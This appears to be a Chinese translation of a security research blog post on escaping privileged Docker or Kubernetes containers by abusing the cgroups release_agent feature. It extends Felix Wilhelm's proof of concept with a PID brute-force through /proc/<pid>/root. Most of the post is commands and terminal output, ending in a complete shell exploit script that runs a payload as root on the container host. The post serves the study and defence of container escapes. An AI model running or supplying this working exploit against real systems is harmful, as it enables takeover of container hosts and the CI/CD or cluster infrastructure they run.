特权容器逃逸 - Control Groups release_agent
我最近在容器化环境中进行了大量的漏洞挖掘,一个常见的主题是从容器中逃逸以在容器宿主机上执行代码。在本文中,我将详细阐述Felix Wilhelm(@_fel1x)报告的一种技术,用于逃逸特权容器并在容器宿主机上执行任意命令。
特权容器通常用于CI/CD流水线中,以允许构建和发布Docker镜像。攻破特权容器让您更接近访问容器宿主机,但通常不会让您轻松地直接在宿主机上执行命令。
然而,在2019年7月,Felix Wilhelm发布了一条推文,其中包含一个概念验证(PoC),通过滥用Control Groups的release_agent功能来逃逸特权容器,并在容器宿主机上执行任意命令:
Quick and dirty way to get out of a privileged k8s pod or docker container by using cgroups release_agent feature. pic.twitter.com/q8BI8ASBO8— Felix Wilhelm (@_fel1x) July 17, 2019
Trail of Bits在https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/上很好地解释了这个PoC的细节,他们还详细说明了容器执行此攻击所需的确切能力。简单来说,cgroups release_agent功能可以从特权容器触发,以执行宿主机文件系统上的一个路径,该路径由release_agent文件的内容指定。关键在于,release_agent文件中指定的路径必须相对于容器宿主机的根文件系统,而不是容器。
Felix的PoC通过解析容器根挂载点并提取upperdir挂载选项来识别容器内文件的主机路径。为了演示这一点,我们可以启动一个特权Docker容器并提取容器内文件的主机文件系统路径:
宿主机
1
|
root@host:~$ docker run -ti --privileged --rm alpine:latest /bin/sh
|
然后在容器内:
容器
1
2
3
4
|
root@container:~$ head -1 /etc/mtab
overlay / overlay rw,relatime,lowerdir=/var/lib/docker/overlay2/l/SZLBR2DCKKDKNQSS2TN5EBJQCO:/var/lib/docker/overlay2/l/Z45AX7CJLMJSBBQ7LXU3VXVZGB,upperdir=/var/lib/docker/overlay2/826cfa3f5296e4643bab26e7d8e13885fff67636a403ffd9811486352c50e053/diff,workdir=/var/lib/docker/overlay2/826cfa3f5296e4643bab26e7d8e13885fff67636a403ffd9811486352c50e053/work,xino=off 0 0
root@container:~$ sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab
/var/lib/docker/overlay2/826cfa3f5296e4643bab26e7d8e13885fff67636a403ffd9811486352c50e053/diff
|
在这个例子中,容器配置为使用overlayfs,它将容器挂载的主机文件系统路径暴露给容器本身。这里的主机文件系统路径是/var/lib/docker/overlay2/826cfa3f5296e4643bab26e7d8e13885fff67636a403ffd9811486352c50e053/diff。
这可以通过在容器内创建一个文件来确认:
容器
1
2
3
|
root@container:~$ echo findme > /findme
root@container:~$ sed -n 's/.*\perdir=\([^,]*\).*/\1\/findme/p' /etc/mtab
/var/lib/docker/overlay2/826cfa3f5296e4643bab26e7d8e13885fff67636a403ffd9811486352c50e053/diff/findme
|
在容器宿主机的另一个shell中,使用overlayfs挂载路径来cat文件:
宿主机
1
2
|
root@host:~$ cat /var/lib/docker/overlay2/826cfa3f5296e4643bab26e7d8e13885fff67636a403ffd9811486352c50e053/diff/findme
findme
|
边缘情况
当容器配置了暴露挂载点完整主机路径的存储驱动(例如overlayfs)时,这种方法工作良好,然而我最近遇到了几种不明显披露主机文件系统挂载点的配置。
Kata Containers*
容器
1
2
|
root@container:~$ head -1 /etc/mtab
kataShared on / type 9p (rw,dirsync,nodev,relatime,mmap,access=client,trans=virtio)
|
Kata Containers默认通过9pfs挂载容器的根文件系统。这不会披露Kata Containers虚拟机中容器文件系统的位置。
*更多关于Kata Containers的内容将在未来的博客文章中介绍。
Device Mapper
容器
1
2
|
root@container:~$ head -1 /etc/mtab
/dev/sdc / ext4 rw,relatime,stripe=384 0 0
|
我在一个真实环境中看到了一个具有这种根挂载的容器,我认为该容器运行在特定的devicemapper存储驱动配置下,但到目前为止我无法在测试环境中复制这种行为。
替代PoC
显然,在这些情况下,没有足够的信息来识别容器文件在主机文件系统上的路径,因此Felix的PoC不能直接使用。然而,我们仍然可以通过一些巧思来执行此攻击。
所需的一个关键信息是相对于容器宿主机的要执行的容器内文件的完整路径。如果不能从容器内的挂载点辨别这一点,我们必须寻找其他地方。
Proc来救援
Linux的/proc伪文件系统暴露了系统上所有运行进程的内核进程数据结构,包括在不同命名空间中运行的进程,例如容器内的进程。这可以通过在容器中运行一个命令并在宿主机上访问该进程的/proc目录来展示:
容器
1
|
root@container:~$ sleep 100
|
宿主机
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
root@host:~$ ps -eaf | grep sleep
root 28936 28909 0 10:11 pts/0 00:00:00 sleep 100
root@host:~$ ls -la /proc/`pidof sleep`
total 0
dr-xr-xr-x 9 root root 0 Nov 19 10:03 .
dr-xr-xr-x 430 root root 0 Nov 9 15:41 ..
dr-xr-xr-x 2 root root 0 Nov 19 10:04 attr
-rw-r--r-- 1 root root 0 Nov 19 10:04 autogroup
-r-------- 1 root root 0 Nov 19 10:04 auxv
-r--r--r-- 1 root root 0 Nov 19 10:03 cgroup
--w------- 1 root root 0 Nov 19 10:04 clear_refs
-r--r--r-- 1 root root 0 Nov 19 10:04 cmdline
...
-rw-r--r-- 1 root root 0 Nov 19 10:29 projid_map
lrwxrwxrwx 1 root root 0 Nov 19 10:29 root -> /
-rw-r--r-- 1 root root 0 Nov 19 10:29 sched
...
|
顺便说一下,/proc/<pid>/root数据结构曾经让我困惑了很长时间,我一直不明白为什么有一个指向/的符号链接是有用的,直到我阅读了man页面中的实际定义:
/proc/[pid]/root
UNIX和Linux支持每个进程的文件系统根的概念,由chroot(2)系统调用设置。此文件是一个指向进程根目录的符号链接,其行为与exe和fd/*相同。
但请注意,此文件不仅仅是一个符号链接。它提供了与进程本身相同的文件系统视图(包括命名空间和每进程挂载集)。
/proc/<pid>/root符号链接可以用作容器内任何文件的主机相对路径:
容器
1
2
|
root@container:~$ echo findme > /findme
root@container:~$ sleep 100
|
宿主机
1
2
|
root@host:~$ cat /proc/`pidof sleep`/root/findme
findme
|
这将攻击的要求从知道容器内文件相对于容器宿主机的完整路径,改为知道容器中运行的任何进程的pid。
Pid暴力破解
这实际上是容易的部分,Linux中的进程id是数字的并按顺序分配。init进程被分配进程id 1,所有后续进程被分配递增的id。为了识别容器内进程的主机进程id,可以使用暴力递增搜索:
容器
1
2
|
root@container:~$ echo findme > /findme
root@container:~$ sleep 100
|
宿主机
1
2
3
4
5
6
|
root@host:~$ COUNTER=1
root@host:~$ while [ ! -f /proc/${COUNTER}/root/findme ]; do COUNTER=$((${COUNTER} + 1)); done
root@host:~$ echo ${COUNTER}
7822
root@host:~$ cat /proc/${COUNTER}/root/findme
findme
|
整合所有内容
为了完成此攻击,可以使用暴力技术来猜测路径/proc/<pid>/root/payload.sh的pid,每次迭代将猜测的pid路径写入cgroups release_agent文件,触发release_agent,并查看是否创建了输出文件。
这种技术的唯一注意事项是它一点也不隐蔽,并且可能使pid计数非常高。由于没有保持长时间运行的进程,这不应该引起可靠性问题,但不要引用我的话。
下面的PoC实现了这些技术,提供了比Felix原始PoC更通用的攻击,用于使用cgroups release_agent功能逃逸特权容器:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
|
#!/bin/sh
OUTPUT_DIR="/"
MAX_PID=65535
CGROUP_NAME="xyx"
CGROUP_MOUNT="/tmp/cgrp"
PAYLOAD_NAME="${CGROUP_NAME}_payload.sh"
PAYLOAD_PATH="${OUTPUT_DIR}/${PAYLOAD_NAME}"
OUTPUT_NAME="${CGROUP_NAME}_payload.out"
OUTPUT_PATH="${OUTPUT_DIR}/${OUTPUT_NAME}"
# 运行一个我们可以搜索的进程(现实中不需要,但有更好)
sleep 10000 &
# 准备要在宿主机上执行的有效载荷脚本
cat > ${PAYLOAD_PATH} << __EOF__
#!/bin/sh
OUTPATH=\$(dirname \$0)/${OUTPUT_NAME}
# 在宿主机上运行的命令
ps -eaf > \${OUTPATH} 2>&1
__EOF__
# 使有效载荷脚本可执行
chmod a+x ${PAYLOAD_PATH}
# 使用内存资源cgroup控制器设置cgroup挂载
mkdir ${CGROUP_MOUNT}
mount -t cgroup -o memory cgroup ${CGROUP_MOUNT}
mkdir ${CGROUP_MOUNT}/${CGROUP_NAME}
echo 1 > ${CGROUP_MOUNT}/${CGROUP_NAME}/notify_on_release
# 暴力破解主机pid,直到创建输出路径,或者我们用尽猜测
TPID=1
while [ ! -f ${OUTPUT_PATH} ]
do
if [ $((${TPID} % 100)) -eq 0 ]
then
echo "Checking pid ${TPID}"
if [ ${TPID} -gt ${MAX_PID} ]
then
echo "Exiting at ${MAX_PID} :-("
exit 1
fi
fi
# 将release_agent路径设置为猜测的pid
echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent
# 触发release_agent的执行
sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs"
TPID=$((${TPID} + 1))
done
# 等待并cat输出
sleep 1
echo "Done! Output:"
cat ${OUTPUT_PATH}
|
在特权容器内执行PoC应该提供类似于以下的输出:
容器
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
root@container:~$ ./release_agent_pid_brute.sh
Checking pid 100
Checking pid 200
Checking pid 300
Checking pid 400
Checking pid 500
Checking pid 600
Checking pid 700
Checking pid 800
Checking pid 900
Checking pid 1000
Checking pid 1100
Checking pid 1200
Done! Output:
UID PID PPID C STIME TTY TIME CMD
root 1 0 0 11:25 ? 00:00:01 /sbin/init
root 2 0 0 11:25 ? 00:00:00 [kthreadd]
root 3 2 0 11:25 ? 00:00:00 [rcu_gp]
root 4 2 0 11:25 ? 00:00:00 [rcu_par_gp]
root 5 2 0 11:25 ? 00:00:00 [kworker/0:0-events]
root 6 2 0 11:25 ? 00:00:00 [kworker/0:0H-kblockd]
root 9 2 0 11:25 ? 00:00:00 [mm_percpu_wq]
root 10 2 0 11:25 ? 00:00:00 [ksoftirqd/0]
...
|
结束思考
感谢Felix Wilhelm发布这个强大的特权容器逃逸技术的初始PoC。
有关cgroups release_agent工作的更多细节,请参见https://www.kernel.org/doc/Documentation/cgroup-v1/cgroups.txt。